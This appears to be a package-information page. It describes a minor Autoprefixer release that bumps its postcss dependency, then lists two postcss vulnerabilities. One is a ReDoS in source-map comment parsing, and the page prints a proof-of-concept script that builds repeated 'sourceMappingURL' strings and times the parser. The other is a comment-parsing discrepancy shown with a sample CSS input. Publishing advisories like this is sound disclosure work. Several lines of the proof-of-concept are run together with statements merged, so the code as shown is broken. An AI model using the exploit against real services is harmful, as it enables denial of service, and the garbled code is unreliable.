The Autoprefixer package, a tool designed to automatically add vendor prefixes to CSS rules based on data from the "Can I Use" website, saw a relatively minor update between versions 1.1.20140226 (released February 26, 2014) and 1.1.20140302 (released March 2, 2014). While both versions share the same core functionality and development dependencies, the key difference lies in the update to its dependency on the postcss package. The newer version depends on postcss version ~0.3.3, while the older one relies on ~0.3.2.
This update suggests improvements or bug fixes within the postcss dependency itself, likely related to CSS parsing or manipulation. Developers using Autoprefixer should note this dependency update, as it could potentially affect how CSS is processed, especially if they are also directly using postcss in their projects. If encountering issues after upgrading Autoprefixer, verifying compatibility with the corresponding postcss version is advisable.
From a broader perspective, Autoprefixer automates a tedious but crucial aspect of web development, ensuring cross-browser compatibility by adding necessary vendor prefixes. By leveraging data from "Can I Use," it dynamically adapts to browser support, reducing the likelihood of outdated or unnecessary prefixes. This automation saves developers time and effort, allowing them to focus on core styling and functionality. The frequency of updates, albeit with small changes in this particular case, underscores the active maintenance of the project and its commitment to staying current with the evolving web landscape.
All the vulnerabilities related to the version 1.1.20140302 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.